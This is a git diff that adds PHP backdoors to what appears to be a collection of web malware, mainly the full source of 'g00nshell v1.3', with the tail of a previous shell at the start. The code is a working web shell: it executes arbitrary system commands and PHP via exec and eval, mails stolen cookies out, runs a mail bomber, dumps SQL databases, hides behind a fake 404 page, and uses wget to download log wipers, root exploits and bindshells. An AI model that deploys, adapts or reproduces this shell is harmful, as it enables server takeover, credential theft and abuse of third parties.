+"wzZswzM8wzAMwA/8wAzMwAmcwAZswAM8wAAJn//5n/zJn/mZn/Zpn/M5n/AJnM/5nMzJnMmZnMZpnMM5nMAJmZ/5mZ" . +"zJmZmZmZZpmZM5mZAJlm/5lmzJlmmZlmZplmM5lmAJkz/5kzzJkzmZkzZpkzM5kzAJkA/5kAzJkAmZkAZpkAM5kAAG" . +"b//2b/zGb/mWb/Zmb/M2b/AGbM/2bMzGbMmWbMZmbMM2bMAGaZ/2aZzGaZmWaZZmaZM2aZAGZm/2ZmzGZmmWZmZmZm" . +"M2ZmAGYz/2YzzGYzmWYzZmYzM2YzAGYA/2YAzGYAmWYAZmYAM2YAADP//zP/zDP/mTP/ZjP/MzP/ADPM/zPMzDPMmT" . +"PMZjPMMzPMADOZ/zOZzDOZmTOZZjOZMzOZADNm/zNmzDNmmTNmZjNmMzNmADMz/zMzzDMzmTMzZjMzMzMzADMA/zMA" . +"zDMAmTMAZjMAMzMAAAD//wD/zAD/mQD/ZgD/MwD/AADM/wDMzADMmQDMZgDMMwDMAACZ/wCZzACZmQCZZgCZMwCZAA" . +"Bm/wBmzABmmQBmZgBmMwBmAAAz/wAzzAAzmQAzZgAzMwAzAAAA/wAAzAAAmQAAZgAAM+4AAN0AALsAAKoAAIgAAHcA" . +"AFUAAEQAACIAABEAAADuAADdAAC7AACqAACIAAB3AABVAABEAAAiAAARAAAA7gAA3QAAuwAAqgAAiAAAdwAAVQAARA" . +"AAIgAAEe7u7t3d3bu7u6qqqoiIiHd3d1VVVURERCIiIhEREQAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMg" . +"ZG9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAAkACwAAAAAFA" . +"AWAAAImQBJCCTBqmDBgQgTDmQFAABDVgojEmzI0KHEhBUrWrwoMGNDihwnAvjHiqRJjhX/qVz5D+VHAFZiWmmZ8BGH" . +"ji9hxqTJ4ZFAmzc1vpxJgkPPn0Y5CP04M6lPEkCN5mxoJelRqFY5TM36NGrPqV67Op0KM6rYnkup/gMq1mdamC1tdn" . +"36lijUpwjr0pSoFyUrmTJLhiTBkqXCgAA7", +"sound"=>"R0lGODlhFAAWAMIAAP////8zM8z//8zMzJmZmWYAADMzMwAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" . +"9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAACACwAAAAAFAAW" . +"AAADayi63P4wNsNCkOocYVWPB7FxFwmFwGh+DZpynndpNAHcW9cVQUj8tttrd+G5hMINT7A0BpE4ZnF6hCqn0iryKs" . +"0SDN9v0tSc0Q4DQ1SHFRjeBrQ6FzNN5Co2JD4YfUp7GnY***QLhBiJigsJADs=", +"script"=>"R0lGODlhFAAWAMIAAP///8z//5mZmTMzMwAAAAAAAAAAAAAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" . +"9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAABACwAAAAAFAAW" . +"AAADZTi6vPEwDECrnSO+aTvPEddVIrhVBJCSF8QRMIwOBE2fVLrmcYz3O4pgKCDgVMgR0SgZOYVM0dNS/AF7gGy1me" . +"16v9vXNdYNf89es2os00bRcDW7DVDDwe87fjMg+v9DNxBzYw8JADs="); +header('Content-type: image/gif'); +echo base64_decode($images[$img]); +die(); +} + +function kill(){ // Shell deleter function +style(); +echo("<form method='post'>"); +echo("Type 'confirm' to kill the shell:<br>\n<input type='text' name='ver' action='?act=kill'>"); +echo("<input type='submit' value='Delete'>"); +echo("</form>"); +if($_POST['ver'] == "confirm"){ +$self = basename($_SERVER['PHP_SELF']); +if(unlink($self)){echo("Deleted");} +else{echo("Failed");} +} +} +die(); +?> diff --git a/web-malware-collection-master/Backdoors/PHP/g00nv13.php b/web-malware-collection-master/Backdoors/PHP/g00nv13.php new file mode 100755 index 0000000..35f1319 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/g00nv13.php @@ -0,0 +1,730 @@ +<?php +/* +###################################################################### +# [g00n]FiSh presents: # +# g00nshell v1.3 final # +############################DOCUMENTATION############################# +#To execute commands, simply include ?cmd=___ in the url. # +#Ex: http://site.com/shl.php?cmd=whoami # +# # +#To steal cookies, use ?cookie=___ in the url. # +#Ex: <script>document.location.href= # +#'http://site.com/shl.php?cookie='+document.cookies</script> # +##########################VERIFICATION LEVELS######################### +#0: No protection; anyone can access # +#1: User-Agent required # +#2: Require IP # +#3: Basic Authentication # +##############################KNOWN BUGS############################## +#Windows directory handling # +# # +#The SQL tool is NOT complete. There is currently no editing function# +#available. Some time in the future this may be fixed, but for now # +#don't complain to me about it # +################################SHOUTS################################ +#pr0be - Beta testing & CSS # +#TrinTiTTY - Beta testing # +#clorox - Beta testing # +#Everyone else at g00ns.net # +########################NOTE TO ADMINISTRATORS######################## +#If this script has been found on your server without your approval, # +#it would probably be wise to delete it and check your logs. # +###################################################################### +*/ + +// Configuration +$auth = 0; +$uakey = "b5c3d0b28619de70bf5588505f4061f2"; // MD5 encoded user-agent +$IP = array("127.0.0.2","127.0.0.1"); // IP Addresses allowed to access shell +$email = ""; // E-mail address where cookies will be sent +$user = "af1035a85447f5aa9d21570d884b723a"; // MD5 encoded User +$pass = "47e331d2b8d07465515c50cb0fad1e5a"; // MD5 encoded Password + +// Global Variables +$version = "1.3 final"; +$self = $_SERVER['PHP_SELF']; +$soft = $_SERVER["SERVER_SOFTWARE"]; +$servinf = split("[:]", getenv('HTTP_HOST')); +$servip = $servinf[0]; +$servport = $servinf[1]; +$uname = php_uname(); +$curuser = @exec('whoami'); +$cmd = $_GET['cmd']; +$act = $_GET['act']; +$cmd = $_GET['cmd']; +$cookie = $_GET['cookie']; +$f = $_GET['f']; +$curdir = cleandir(getcwd()); +if(!$dir){$dir = $_GET['dir'];} +elseif($dir && $_SESSION['dir']){$dir = $_SESSION['dir'];} +elseif($dir && $_SESSION['dir']){$dir = $curdir;} +if($dir && $dir != "nullz"){$dir = cleandir($dir);} +$contents = $_POST['contents']; +$gf = $_POST['gf']; +$img = $_GET['img']; +session_start(); +@set_time_limit(5); +switch($auth){ // Authentication switcher + case 0: break; + case 1: if(md5($_SERVER['HTTP_USER_AGENT']) != $uakey){hide();} break; + case 2: if(!in_array($_SERVER['REMOTE_ADDR'],$IP)){hide();} break; + case 3: if(!$_SERVER["PHP_AUTH_USER"]){userauth();} break; +} + +function userauth(){ // Basic authentication function + global $user, $pass; + header("WWW-Authenticate: Basic realm='Secure Area'"); + if(md5($_SERVER["PHP_AUTH_USER"]) != $user || md5($_SERVER["PHP_AUTH_PW"] != $pass)){ + hide(); + die(); + } +} + +if(!$act && !$cmd && !$cookie && !$f && !$dir && !$gf && !$img){main();} +elseif(!$act && $cmd){ + style(); + echo("<b>Results:</b>\n<br><textarea rows=20 cols=100>"); + $cmd = exec($cmd, $result); + foreach($result as $line){echo($line . "\n");} + echo("</textarea>"); +} +elseif($cookie){@mail("$email", "Cookie Data", "$cookie", "From: $email"); hide();} // Cookie stealer function +elseif($act == "view" && $f && $dir){view($f, $dir);} +elseif($img){img($img);} +elseif($gf){grab($gf);} +elseif($dir){files($dir);} +else{ + switch($act){ + case "phpinfo": phpinfo();break; + case "sql": sql();break; + case "files": files($dir);break; + case "email": email();break; + case "cmd": cmd();break; + case "upload": upload();break; + case "tools": tools();break; + case "sqllogin": sqllogin();break; + case "sql": sql();break; + case "lookup": lookup();break; + case "kill": kill();break; + case "phpexec": execphp();break; + default: main();break; + } +} + +function cleandir($d){ // Function to clean up the $dir and $curdir variables + $d = realpath($d); + $d = str_replace("\\\\", "//", $d); + $d = str_replace("////", "//", $d); + $d = str_replace("\\", "/", $d); + return($d); +} + + + +function hide(){ // Hiding function + global $self, $soft, $servip, $servport; +die("<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'> +<HTML><HEAD> +<TITLE>404 Not Found</TITLE> +</HEAD><BODY> +<H1>Not Found</H1> +The requested URL $self was not found on this server.<P> +<P>Additionally, a 404 Not Found +error was encountered while trying to use an ErrorDocument to handle the request. +<HR> +<ADDRESS>$soft Server at $servip Port $servport</ADDRESS> +</BODY></HTML>"); +} + +function style(){ // Style / header function + global $servip,$version; + echo("<html>\n + <head>\n + <title>g00nshell v" . $version . " - " . $servip . "</title>\n + <style>\n + body { background-color:#000000; color:white; font-family:Verdana; font-size:11px; }\n + h1 { color:white; font-family:Verdana; font-size:11px; }\n + h3 { color:white; font-family:Verdana; font-size:11px; }\n + input,textarea,select { color:#FFFFFF; background-color:#2F2F2F; border:1px solid #4F4F4F; font-family:Verdana; font-size:11px; }\n + textarea { font-family:Courier; font-size:11px; }\n + a { color:#6F6F6F; text-decoration:none; font-family:Verdana; font-size:11px; }\n + a:hover { color:#7F7F7F; }\n + td,th { font-size:12px; vertical-align:middle; }\n + th { font-size:13px; }\n + table { empty-cells:show;}\n + .inf { color:#7F7F7F; }\n + </style>\n + </head>\n"); +} + +function main(){ // Main/menu function + global $self, $servip, $servport, $uname, $soft, $banner, $curuser, $version; + style(); + $act = array('cmd'=>'Command Execute','files'=>'File View','phpinfo'=>'PHP info', 'phpexec'=>'PHP Execute', + 'tools'=>'Tools','sqllogin'=>'SQL','email'=>'Email','upload'=>'Get Files','lookup'=>'List Domains','bshell'=>'Bindshell','kill'=>'Kill Shell'); + $capt = array_flip($act); + echo("<form method='GET' name='shell'>"); + echo("<b>Host:</b> <span class='inf'>" . $servip . "</span><br>"); + echo("<b>Server software:</b> <span class='inf'>" . $soft . "</span><br>"); + echo("<b>Uname:</b> <span class='inf'>" . $uname . "</span><br>"); + echo("<b>Shell Directory:</b> <span class='inf'>" . getcwd() . "</span><br>"); + echo("<div style='display:none' id='info'>"); + echo("<b>Current User:</b> <span class='inf'>" . $curuser . "</span><br>"); + echo("<b>ID:</b> <span class='inf'>" . @exec('id') . "</span><br>"); + if(@ini_get('safe_mode') != ""){echo("<b>Safemode:</b> <font color='red'>ON</font>");} + else{echo("<b>Safemode:</b> <font color='green'>OFF</font>");} + echo("\n<br>\n"); + if(@ini_get('open_basedir') != ""){echo("<b>Open Base Dir:</b> <font color='red'>ON</font> [ <span class='inf'>" . ini_get('open_basedir') . "</span> ]");} + else{echo("<b>Open Base Dir:</b> <font color='green'>OFF</font>");} + echo("\n<br>\n"); + if(@ini_get('disable_functions') != ""){echo("<b>Disabled functions:</b> " . @ini_get('disable_functions'));} + else{echo("<b>Disabled functions:</b> None");} + echo("\n<br>\n"); + if(@function_exists(mysql_connect)){echo("<b>MySQL:</b> <font color='green'>ON</font>");} + else{echo("<b>MySQL:</b> <font color='red'>OFF</font>");} + echo("</div>"); + echo("[ <a href='#hax' onClick=\"document.getElementById('info').style.display = 'block';\">More</a> ] "); + echo("[ <a href='#hax' onClick=\"document.getElementById('info').style.display = 'none';\">Less</a> ]"); + echo("<center>"); + echo("<h3 align='center'>Links</h3>"); + if($_SERVER['QUERY_STRING']){foreach($act as $link){echo("[ <a href='?" . $_SERVER['QUERY_STRING'] . "&act=" . $capt[$link] . "' target='frm'>" . $link . "</a> ] ");}} + else{foreach($act as $link){echo("[ <a href='?act=" . $capt[$link] . "' target='frm'>" . $link . "</a> ] ");}} + echo("</center>"); + echo("<hr>"); + echo("<br><iframe name='frm' style='width:100%; height:65%; border:0;' src='?act=files'></iframe>"); + echo("<pre style='text-align:center'>:: g00nshell <font color='red'>v" . $version . "</font> ::</pre>"); + die(); +} + +function cmd(){ // Command execution function + style(); + echo("<form name='CMD' method='POST'>"); + echo("<b>Command:</b><br>"); + echo("<input name='cmd' type='text' size='50'>*"); + echo("<select name='precmd'>"); + $precmd = array(''=>'','Read /etc/passwd'=>'cat /etc/passwd','Open ports'=>'netstat -an', + 'Running Processes'=>'ps -aux', 'Uname'=>'uname -a', 'Get UID'=>'id', + 'Create Junkfile (/tmp/z)'=>'dd if=/dev/zero of=/tmp/z bs=1M count=1024', + 'Find passwd files'=>'find / -type f -name passwd'); + $capt = array_flip($precmd); + foreach($precmd as $c){echo("<option value='" . $c . "'>" . $capt[$c] . "\n");} + echo("</select><br>\n"); + echo("<input type='submit' value='Execute'>\n"); + echo("</form>\n"); + if($_POST['cmd'] != ""){$x = $_POST['cmd'];} + elseif($_POST['precmd'] != ""){$x = $_POST['precmd'];} + else{die();} + echo("Results: <br><textarea rows=20 cols=100>"); + $cmd = @exec($x, $result); + foreach($result as $line){echo($line . "\n");} + echo("</textarea>"); +} + +function execphp(){ // PHP code execution function + style(); + echo("<h4>Execute PHP Code</h4>"); + echo("<form method='POST'>"); + echo("<textarea name='phpexec' rows=5 cols=100>"); + if(!$_POST['phpexec']){echo("/*Don't include <? ?> tags*/\n");} + echo(htmlentities($_POST['phpexec']) . "</textarea>\n<br>\n"); + echo("<input type='submit' value='Execute'>"); + echo("</form>"); + if($_POST['phpexec']){ + echo("<textarea rows=10 cols=100>"); + eval(stripslashes($_POST['phpexec'])); + echo("</textarea>"); + } +} + +function sqllogin(){ // MySQL login function + session_start(); + if($_SESSION['isloggedin'] == "true"){ + header("Location: ?act=sql"); + } + style(); + echo("<form method='post' action='?act=sql'>"); + echo("User:<br><input type='text' name='un' size='30'><br>\n"); + echo("Password:<br><input type='text' name='pw' size='30'><br>\n"); + echo("Host:<br><input type='text' name='host' size='30' value='localhost'><br>\n"); + echo("Port:<br><input type='text' name='port' size='30' value='3306'><br>\n"); + echo("<input type='submit' value='Login'>"); + echo("</form>"); + die(); +} + +function sql(){ // General SQL Function + session_start(); + if(!$_GET['sqlf']){style();} + if($_POST['un'] && $_POST['pw']){; + $_SESSION['sql_user'] = $_POST['un']; + $_SESSION['sql_password'] = $_POST['pw']; + } + if($_POST['host']){$_SESSION['sql_host'] = $_POST['host'];} + else{$_SESSION['sql_host'] = 'localhost';} + if($_POST['port']){$_SESSION['sql_port'] = $_POST['port'];} + else{$_SESSION['sql_port'] = '3306';} + + if($_SESSION['sql_user'] && $_SESSION['sql_password']){ + if(!($sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_port'], $_SESSION['sql_user'], $_SESSION['sql_password']))){ + unset($_SESSION['sql_user'], $_SESSION['sql_password'], $_SESSION['sql_host'], $_SESSION['sql_port']); + echo("Invalid credentials<br>\n"); + die(sqllogin()); + } + else{ + $_SESSION['isloggedin'] = "true"; + } + } + else{ + die(sqllogin()); + } + + if ($_GET['db']){ + mysql_select_db($_GET['db'], $sqlcon); + if($_GET['sqlquery']){ + $dat = mysql_query($_GET['sqlquery'], $sqlcon) or die(mysql_error()); + $num = mysql_num_rows($dat); + for($i=0;$i<$num;$i++){ + echo(mysql_result($dat, $i) . "<br>\n"); + } + } + else if($_GET['table'] && !$_GET['sqlf']){ + echo("<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "&sqlf=ins'>Insert Row</a><br><br>\n"); + echo("<table border='1'>"); + $query = "SHOW COLUMNS FROM " . $_GET['table']; + $result = mysql_query($query, $sqlcon) or die(mysql_error()); + $i = 0; + $fields = array(); + while($row = mysql_fetch_assoc($result)){ + array_push($fields, $row['Field']); + echo("<th>" . $fields[$i]); + $i++; + } + $result = mysql_query("SELECT * FROM " . $_GET['table'], $sqlcon) or die(mysql_error()); + $num_rows = mysql_num_rows($result) or die(mysql_error()); + $y=0; + for($x=1;$x<=$num_rows+1;$x++){ + if(!$_GET['p']){ + $_GET['p'] = 1; + } + if($_GET['p']){ + if($y > (30*($_GET['p']-1)) && $y <= 30*($_GET['p'])){ + echo("<tr>"); + for($i=0;$i<count($fields);$i++){ + $query = "SELECT " . $fields[$i] . " FROM " . $_GET['table'] . " WHERE " . $fields[0] . " = '" . $x . "'"; + $dat = mysql_query($query, $sqlcon) or die(mysql_error()); + while($row = mysql_fetch_row($dat)){ + echo("<td>" . $row[0] . "</td>"); + } + } + echo("</tr>\n"); + } + } + $y++; + } + echo("</table>\n"); + for($z=1;$z<=ceil($num_rows / 30);$z++){ + echo("<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "&p=" . $z . "'>" . $z . "</a> | "); + } + } + elseif($_GET['table'] && $_GET['sqlf']){ + switch($_GET['sqlf']){ + case "dl": sqldownload();break; + case "ins": sqlinsert();break; + default: $_GET['sqlf'] = ""; + } + } + else{ + echo("<table>"); + $query = "SHOW TABLES FROM " . $_GET['db']; + $dat = mysql_query($query, $sqlcon) or die(mysql_error()); + while ($row = mysql_fetch_row($dat)){ + echo("<tr><td><a href='?act=sql&db=" . $_GET['db'] . "&table=" . $row[0] ."'>" . $row[0] . "</a></td><td>[<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $row[0] ."&sqlf=dl'>Download</a>]</td></tr>\n"); + } + echo("</table>"); + } + } + else{ + $dbs=mysql_list_dbs($sqlcon); + while($row = mysql_fetch_object($dbs)) { + echo("<a href='?act=sql&db=" . $row->Database . "'>" . $row->Database . "</a><br>\n"); + } + } + mysql_close($sqlcon); +} + +function sqldownload(){ // Download sql file function + @ob_flush; + $sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_port'], $_SESSION['sql_user'], $_SESSION['sql_password']); + mysql_select_db($_GET['db'], $sqlcon); + $query = "SHOW COLUMNS FROM " . $_GET['table']; + $result = mysql_query($query, $sqlcon) or die(mysql_error()); + $fields = array(); + while($row = mysql_fetch_assoc($result)){ + array_push($fields, $row['Field']); + $i++; + } + $result = mysql_query("SELECT * FROM " . $_GET['table'], $sqlcon) or die(mysql_error()); + $num_rows = mysql_num_rows($result) or die(mysql_error()); + for($x=1;$x<$num_rows;$x++){ + $out .= "("; + for($i=0;$i<count($fields);$i++){ + $out .= "'"; + $query = "SELECT " . $fields[$i] . " FROM " . $_GET['table'] . " WHERE " . $fields[0] . " = '" . $x . "'"; + $dat = mysql_query($query, $sqlcon) or die(mysql_error()); + while($row = mysql_fetch_row($dat)){ + if($row[0] == ""){ + $row[0] = "NULL"; + } + if($i != count($fields)-1){ + $out .= str_replace("\r\n", "\\r\\n", $row[0]) . "', "; + } + else{ + $out .= $row[0]. "'"; + } + } + } + $out .= ");\n"; + } + $filename = $_GET['table'] . "-" . time() . '.sql'; + header("Content-type: application/octet-stream"); + header("Content-length: " . strlen($out)); + header("Content-disposition: attachment; filename=" . $filename . ";"); + echo($out); + die(); +} + +function sqlinsert(){ + style(); + $sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_port'], $_SESSION['sql_user'], $_SESSION['sql_password']); + mysql_select_db($_GET['db'], $sqlcon); + if($_POST['ins']){ + unset($_POST['ins']); + $fields = array_flip($_POST); + $f = implode(",", $fields); + $v = implode(",", $_POST); + $query = "INSERT INTO " . $_GET['table'] . " (" . $f . ") VALUES (" . $v . ")"; + mysql_query($query, $sqlcon) or die(mysql_error()); + die("Row inserted.<br>\n<a href='?act=sql&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "'>Go back</a>"); + } + $query = "SHOW COLUMNS FROM " . $_GET['table']; + $result = mysql_query($query, $sqlcon) or die(mysql_error()); + $i = 0; + $fields = array(); + echo("<form method='POST'>"); + echo("<table>"); + while($row = mysql_fetch_assoc($result)){ + array_push($fields, $row['Field']); + echo("<tr><td><b>" . $fields[$i] . "</b><td><input type='text' name='" . $fields[$i] . "'><br>\n"); + $i++; + } + echo("</table>"); + echo("<br>\n<input type='submit' value='Insert' name='ins'>"); + echo("</form>"); +} + +function nicesize($size){ + if(!$size){return false;} + if ($size >= 1073741824){return(round($size / 1073741824) . " GB");} + elseif ($size >= 1048576){return(round($size / 1048576) . " MB");} + elseif ($size >= 1024){return(round($size / 1024) . " KB");} + else{return($size . " B");} +} + +function files($dir){ // File manipulator function + style(); + global $self, $curdir; + if($dir==""){$dir = $curdir;} + $dirx = explode("/", $dir); + $files = array(); + $folders = array(); + echo("<form method='GET'>"); + echo("<input type='text' name='dir' value='" . $dir . "' size='40'>"); + echo("<input type='submit' value='Go'>"); + echo("</form>"); + echo("<h4>File list for "); + for($i=0;$i<count($dirx);$i++){ + $totalpath .= $dirx[$i] . "/"; + echo("<a href='?dir=" . $totalpath . "'>$dirx[$i]</a>" . "/"); + } + echo("</h4>"); + echo("<table>"); + echo("<th>File Name<th>File Size</th>"); + if ($handle = opendir($dir)) { + while (false != ($link = readdir($handle))) { + if (is_dir($dir . '/' . $link)){ + $file = array(); + if(is_writable($dir . '/' . $link)){$file['perm']='write';} + elseif(is_readable($dir . '/' . $link)){$file['perm']='read';} + else{$file['perm']='none';} + switch($file['perm']){ + case "write": @$file['link'] = "<a href='?dir=$dir/$link'><font color='green'>$link</font></a>"; break; + case "read": @$file['link'] = "<a href='?dir=$dir/$link'><font color='yellow'>$link</font></a>"; break; + case "none": @$file['link'] = "<a href='?dir=$dir/$link'><font color='red'>$link</font></a>"; break; + default: @$file['link'] = "<a href='?dir=$dir/$link'><font color='red'>$link</font></a>"; break; + } + @$file['icon'] = "folder"; + if($_SERVER['QUERY_STRING']){$folder = "<img src='?" . $_SERVER['QUERY_STRING'] . "&img=" . $file['icon']. "'>*" . $file['link'];} + else{$folder = "<img src='?img=" . $file['icon']. "'>*" . $file['link'];} + array_push($folders, $folder); + } + else{ + $file = array(); + $ext = strtolower(end(explode(".", $link))); + if(!$file['size'] = nicesize(@filesize($dir . '/' . $link))){ + $file['size'] = "0B"; + } + if(is_writable($dir . '/' . $link)){$file['perm']='write';} + elseif(is_readable($dir . '/' . $link)){$file['perm']='read';} + else{$file['perm']='none';} + switch($file['perm']){ + case "write": @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='green'>$link</font></a>"; break; + case "read": @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='yellow'>$link</font></a>"; break; + case "none": @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='red'>$link</font></a>"; break; + default: @$file['link'] = "<a href='?act=view&f=" . $link . "&dir=$dir'><font color='red'>$link</a></font>"; break; + } + switch($ext){ + case "exe": case "com": case "jar": case "": $file['icon']="binary"; break; + case "jpg": case "gif": case "png": case "bmp": $file['icon']="image"; break; + case "zip": case "tar": case "rar": case "gz": case "cab": case "bz2": case "gzip": $file['icon']="compressed"; break; + case "txt": case "doc": case "pdf": case "htm": case "html": case "rtf": $file['icon']="text"; break; + case "wav": case "mp3": case "mp4": case "wma": $file['icon']="sound"; break; + case "js": case "vbs": case "c": case "h": case "sh": case "pl": case "py": case "php": case "h": $file['icon']="script"; break; + default: $file['icon'] = "unknown"; break; + } + if($_SERVER['QUERY_STRING']){$file = "<tr><td><img src='?" . $_SERVER['QUERY_STRING'] . "&img=" . $file['icon']. "' height='18' width='18'>*" . $file['link'] . "</td><td>" . $file['size'] . "</td></tr>\n";} + else{$file = "<tr><td><img src='?img=" . $file['icon']. "' height='18' width='18'>*" . $file['link'] . "<td>" . $file['size'] . "</td></tr>\n";} + array_push($files, $file); + } + } + foreach($folders as $folder){echo("<tr><td>$folder</td><td>DIR</td></tr>\n");} + foreach($files as $file){echo($file);} + echo("</table>"); + closedir($handle); + } +} + +function email(){ // Email bomber function + $times = $_POST['times']; + $to = $_POST['to']; + $subject = $_POST['subject']; + $body = $_POST['body']; + $from = $_POST['from']; + + style(); + echo("<h2>Mail Bomber</h2> + <form method='POST' action='?act=email'> + <b>Your address:</b><br> + <input name='from' type='text' size='35'><br> + <b>Their address:</b><br> + <input name='to' type='text' size='35'><br> + <b>Subject:</b><br> + <input name='subject' type='text' size='35'><br> + <b>Text:</b><br> + <input name='body' type='text' size='35'><br> + <b>How many times:</b><br> + <input name='times' type='text' size='5'><br><br> + <input name='submit' type='submit' value='Submit'> + </form>"); + if ($to && $from){for($i=0;$i<$times;$i++){mail("$to", "$subject", "$body", "From: $from");}} +} + +function view($filename, $dir){ // File view function + if($_POST['fileact'] == "Download"){ + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($_POST['contents'])); + header("Content-disposition: attachment; filename=" . basename($filename) . ";"); + $handle = fopen($filename, "r"); + echo(fread($handle, filesize($filename))); + die(); + } + style(); + if($_POST['contents'] && $_POST['fileact'] == "Save"){ + $handle = fopen($filename, 'w'); + fwrite($handle, stripslashes($_POST['contents'])); + fclose($handle); + echo("Saved file.<br><br>"); + echo("<a href='?act=view&f=$filename&dir=nullz'>Go back</a>"); + die(); + } + elseif($_POST['fileact'] == "Delete"){ + unlink($filename); + echo("Deleted file.<br><br>"); + echo("<a href='?act=files'>Go back</a>"); + die(); + } + + if($dir != "nullz"){ // heh + $filename = $dir."/".$filename; + } + $bad = array("<", ">"); + $good = array("<", ">"); + $file = fopen($filename, 'r'); + $content = fread($file, @filesize($filename)); + echo("<form name='file' method='POST' action='?act=view&dir=$dir&f=$filename'>"); + echo("<textarea style='width:100%; height:92%;' name='contents'>"); + echo(str_replace($bad, $good, $content)."\n"); + echo("</textarea>"); + echo("<input name='fileact' type='submit' value='Save'>"); + echo("<input name='fileact' type='submit' value='Delete'>"); + echo("<input name='fileact' type='submit' value='Download'>"); + echo("</form>"); +} + +function edit($file, $contents){ // File edit function + style(); + $handle = fopen($file, 'w'); + fwrite($handle, $contents); + fclose($handle); + echo("Saved file.<br><br>"); + echo("<a href='?act=files'>Go back</a>"); +} + +function upload(){ // Uploading frontend function + global $curdir; + style(); + echo("<form name='files' enctype='multipart/form-data' method='POST'> + <b>Output Directory</b><br> + <input type='text' name='loc' size='65' value='" . $curdir . "'><br><br> + <b>Remote Upload</b><br> + <input type='text' name='rem' size='65'> + <input type='submit' value='Grab'><br><br> + <b>Local File Upload</b><br> + <input name='up' type='file' size='65'> + <input type='submit' value='Upload'> + </form><br>"); + + if($_POST['rem']){grab($_POST['rem']);} + if($_FILES['up']){up($_FILES['up']);} +} + +function up($up){ // Uploading backend function + style(); + $updir = $_POST['loc']; + move_uploaded_file($up["tmp_name"], $updir . "/" . $up["name"]); + die("File has been uploaded."); +} + +function grab($file){ // Uploading backend function + style(); + $updir = $_POST['loc']; + $filex = array_pop(explode("/", $file)); + if(exec("wget $file -b -O $updir/$filex")){die("File has been uploaded.");} + else{die("File upload failed.");} +} + +function tools(){ // Useful tools function + global $curdir; + style(); + $tools = array( + "--- Log wipers ---"=>"1", + "Vanish2.tgz"=>"http://packetstormsecurity.org/UNIX/penetration/log-wipers/vanish2.tgz", + "Cloak.c"=>"http://packetstormsecurity.org/UNIX/penetration/log-wipers/cloak.c", + "gh0st.sh"=>"http://packetstormsecurity.org/UNIX/penetration/log-wipers/gh0st.sh", + "--- Priv Escalation ---"=>"2", + "h00lyshit - Linux 2.6 ALL"=>"http://someshit.net/files/xpl/h00lyshit", + "k-rad3 - Linux <= 2.6.11"=>"http://someshit.net/files/xpl/krad3", + "raptor - Linux <= 2.6.17.4"=>"http://someshit.net/files/xpl/raptor", + "rootbsd - BSD v?"=>"http://someshit.net/files/xpl/rootbsd", + "--- Bindshells ---"=>"3", + "THC rwwwshell-1.6.perl"=>"http://packetstormsecurity.org/groups/thc/rwwwshell-1.6.perl", + "Basic Perl bindshell"=>"http://packetstormsecurity.org/groups/synnergy/bindshell-unix", + "--- Misc ---"=>"4", + "MOCKS SOCKS4 Proxy"=>"http://superb-east.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz", + "xps.c (proc hider)"=>"http://packetstormsecurity.org/groups/shadowpenguin/unix-tools/xps.c"); + $names = array_flip($tools); + echo("<b>Tools:</b>"); + echo("<form method='post'>"); + echo("<b>Output Directory</b><br>"); + echo("<input type='text' name='loc' size='65' value='" . $curdir . "'><br><br>"); + echo("<select name='gf' style='align:center;'>"); + foreach($tools as $tool) {echo("<option value='" . $tool . "'>" . $names[$tool] . "</option>\n");} + echo("</select>"); + echo("<br><input type='submit' value='Grab'>"); + echo("</form>"); +} + +function lookup(){ // Domain lookup function + style(); + global $servinf; + $script = "import urllib, urllib2, sys, re + req = urllib2.Request('http://www.seologs.com/ip-domains.html', urllib.urlencode({'domainname' : sys.argv[1]})) + site = re.findall('.+\) (.+)<br>', urllib2.urlopen(req).read()) + for i in xrange(0,len(site)): + print site[i]"; // My sexy python script + $handle = fopen('lookup.py', 'w'); + fwrite($handle, $script); + fclose($handle); + echo("<h4>Domains</h4>"); + echo("<ul>"); + $cmd = exec("python lookup.py " . $servinf[0], $ret); + foreach($ret as $site){echo("<li>" . $site . "\n");} + unlink('lookup.py'); +} + + +function img($img){ // Images function + $images = array( + "folder"=>"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAA" . + "gALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwq" . + "d1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", + "image"=>"R0lGODlhFAAWAOMAAP////8zM8z//8zMzJmZmWZmZmYAADMzMwCZzACZMwAzZgAAAAAAAAAAAAAAAAAAACH+TlRoaX" . + "MgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1i" . + "ZXIgMTk5NQAh+QQBAAACACwAAAAAFAAWAAAEkPDISae4WBzAu99Hdm1eSYYZWXYqOgJBLAcDoNrYNssGsBy/4GsX6y" . + 